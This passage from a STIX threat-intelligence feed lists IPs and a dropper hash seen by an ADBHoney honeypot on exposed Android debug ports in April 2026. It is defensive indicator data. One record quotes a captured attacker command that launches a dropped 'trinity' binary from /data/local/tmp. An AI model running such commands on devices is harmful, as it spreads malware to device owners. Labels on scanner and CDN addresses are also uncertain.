          "event_count": 27,
          "first_seen": "2026-04-13T00:39:23.000Z",
          "last_seen": "2026-04-13T00:40:43.772Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "13335"
          ],
          "org": [
            "Cloudflare, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-13T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-13T01:28:35.000Z | last_seen=2026-04-13T01:38:39.970Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--f2ec1bda-ad99-4911-ab8e-5f7c38216e0b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.142']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:00:03.000Z",
      "valid_until": "2026-05-15T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-13T01:28:35.000Z",
          "last_seen": "2026-04-13T01:38:39.970Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-13T02:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-13T01:27:48.000Z | last_seen=2026-04-13T01:28:51.817Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--062bfd73-c9a0-4a9e-9809-42410d717443",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T02:00:03.000Z",
      "valid_until": "2026-05-15T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-13T01:27:48.000Z",
          "last_seen": "2026-04-13T01:28:51.817Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-13T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-13T03:11:40.000Z | last_seen=2026-04-13T03:12:49.411Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--d6b1f5be-649c-4447-bd50-0972e9e48cfe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '137.184.101.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T04:00:03.000Z",
      "valid_until": "2026-05-15T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-13T03:11:40.000Z",
          "last_seen": "2026-04-13T03:12:49.411Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-13T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=25 | first_seen=2026-04-13T04:09:39.000Z | last_seen=2026-04-13T04:21:10.124Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--e3b8ad25-0046-479a-89fc-f40280b3a778",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T05:00:03.000Z",
      "valid_until": "2026-05-15T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 25,
          "first_seen": "2026-04-13T04:09:39.000Z",
          "last_seen": "2026-04-13T04:21:10.124Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-13T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=PK; asn=9541; asn_org=Cyber Internet Services Pvt Ltd.; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=1\n\nObserved in ADBHoney telemetry for 2026-04. events=11 | first_seen=2026-04-13T04:48:45.000Z | last_seen=2026-04-13T04:53:46.117Z | ports=5555 | cc=PK | asn=9541 | org=Cyber Internet Services Pvt Ltd.",
      "id": "indicator--b40c0293-df19-48d3-82d3-33c6364e3aa5",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '175.107.237.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T05:00:03.000Z",
      "valid_until": "2026-05-15T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 11,
          "first_seen": "2026-04-13T04:48:45.000Z",
          "last_seen": "2026-04-13T04:53:46.117Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PK"
          ],
          "asn": [
            "9541"
          ],
          "org": [
            "Cyber Internet Services Pvt Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-13T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=34; ports=5555; cc=SG; asn=13335; asn_org=Cloudflare, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=34 | first_seen=2026-04-13T08:06:30.000Z | last_seen=2026-04-13T08:17:54.660Z | ports=5555 | cc=SG | asn=13335 | org=Cloudflare, Inc.",
      "id": "indicator--12d68a60-660c-42f0-9750-44d18e64947d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.28.159.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T09:00:03.000Z",
      "valid_until": "2026-05-15T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 34,
          "first_seen": "2026-04-13T08:06:30.000Z",
          "last_seen": "2026-04-13T08:17:54.660Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "13335"
          ],
          "org": [
            "Cloudflare, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-13T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=7018; asn_org=AT&T Enterprises, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-13T10:24:14.000Z | last_seen=2026-04-13T10:34:17.266Z | ports=5555 | cc=US | asn=7018 | org=AT&T Enterprises, LLC",
      "id": "indicator--3c53fbe9-1865-4a39-a504-08a93ca9a815",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '108.231.204.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T11:00:02.000Z",
      "valid_until": "2026-05-15T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-13T10:24:14.000Z",
          "last_seen": "2026-04-13T10:34:17.266Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "7018"
          ],
          "org": [
            "AT&T Enterprises, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-13T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=398705; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-13T10:46:40.000Z | last_seen=2026-04-13T10:48:21.347Z | ports=5555 | cc=US | asn=398705 | org=Censys, Inc.",
      "id": "indicator--a95b49f1-3358-4bf4-956e-d57fbaa0015f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '167.94.145.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T11:00:02.000Z",
      "valid_until": "2026-05-15T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-13T10:46:40.000Z",
          "last_seen": "2026-04-13T10:48:21.347Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398705"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-13T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=50; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; cats=Generic Protocol Command Decode; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-04. events=50 | first_seen=2026-04-13T11:47:46.000Z | last_seen=2026-04-13T11:59:28.319Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet | related_hashes=d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--586272f0-025b-49b0-9d11-9fe0ed6878f8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '180.113.109.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T12:00:02.000Z",
      "valid_until": "2026-05-15T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 50,
          "first_seen": "2026-04-13T11:47:46.000Z",
          "last_seen": "2026-04-13T11:59:28.319Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ],
          "related_hashes": [
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-13T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=34; ports=5555; cc=SG; asn=13335; asn_org=Cloudflare, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=34 | first_seen=2026-04-13T13:43:29.000Z | last_seen=2026-04-13T13:54:23.915Z | ports=5555 | cc=SG | asn=13335 | org=Cloudflare, Inc.",
      "id": "indicator--8a2284d6-65ad-4811-bb17-e56f2b0f099b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.28.163.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:00:02.000Z",
      "valid_until": "2026-05-15T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 34,
          "first_seen": "2026-04-13T13:43:29.000Z",
          "last_seen": "2026-04-13T13:54:23.915Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "13335"
          ],
          "org": [
            "Cloudflare, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-13T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=18 | first_seen=2026-04-13T13:39:54.000Z | last_seen=2026-04-17T21:45:22.010Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--daaa072c-2690-4e9f-b8eb-1577adca143a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.65.148.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T14:00:02.000Z",
      "valid_until": "2026-05-15T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 18,
          "first_seen": "2026-04-13T13:39:54.000Z",
          "last_seen": "2026-04-17T21:45:22.010Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "51396"
          ],
          "org": [
            "Pfcloud UG (haftungsbeschrankt)"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-13T17:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=AE; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=42 | first_seen=2026-04-13T16:55:18.000Z | last_seen=2026-04-14T13:53:52.810Z | ports=5555 | cc=AE | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--e858a380-d8e1-42b5-bd19-362861eec668",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '47.91.97.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T17:00:03.000Z",
      "valid_until": "2026-05-15T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 42,
          "first_seen": "2026-04-13T16:55:18.000Z",
          "last_seen": "2026-04-14T13:53:52.810Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AE"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-13T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=11 | first_seen=2026-04-13T17:39:28.000Z | last_seen=2026-04-13T17:49:41.439Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--feb849e6-ffd7-44e1-a71c-cd10971cd278",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '18.236.207.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T18:00:02.000Z",
      "valid_until": "2026-05-15T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 11,
          "first_seen": "2026-04-13T17:39:28.000Z",
          "last_seen": "2026-04-13T17:49:41.439Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-13T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=10439; asn_org=CariNet, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-13T17:38:37.000Z | last_seen=2026-04-13T17:39:44.194Z | ports=5555 | cc=US | asn=10439 | org=CariNet, Inc.",
      "id": "indicator--95950255-55dd-4246-bdeb-668179cae4fe",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '71.6.233.209']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T18:00:02.000Z",
      "valid_until": "2026-05-15T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-13T17:38:37.000Z",
          "last_seen": "2026-04-13T17:39:44.194Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "10439"
          ],
          "org": [
            "CariNet, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-13T22:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/86f96a5bb7549c126205c669f26666e1834365e51b65b37539336a9da0422922.raw; last_seen=2026-04-13T21:13:50.928Z",
      "id": "indicator--3d72a0fa-a0a3-413f-ba3f-aa17e2596e99",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '86f96a5bb7549c126205c669f26666e1834365e51b65b37539336a9da0422922']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T22:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-13T23:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-13T22:40:08.000Z | last_seen=2026-04-13T22:41:12.268Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd.",
      "id": "indicator--8c9301c8-2810-47d4-af81-1fc471ef013f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '183.232.212.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-13T23:00:07.000Z",
      "valid_until": "2026-05-15T23:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-13T22:40:08.000Z",
          "last_seen": "2026-04-13T22:41:12.268Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-14T04:00:02.000Z",
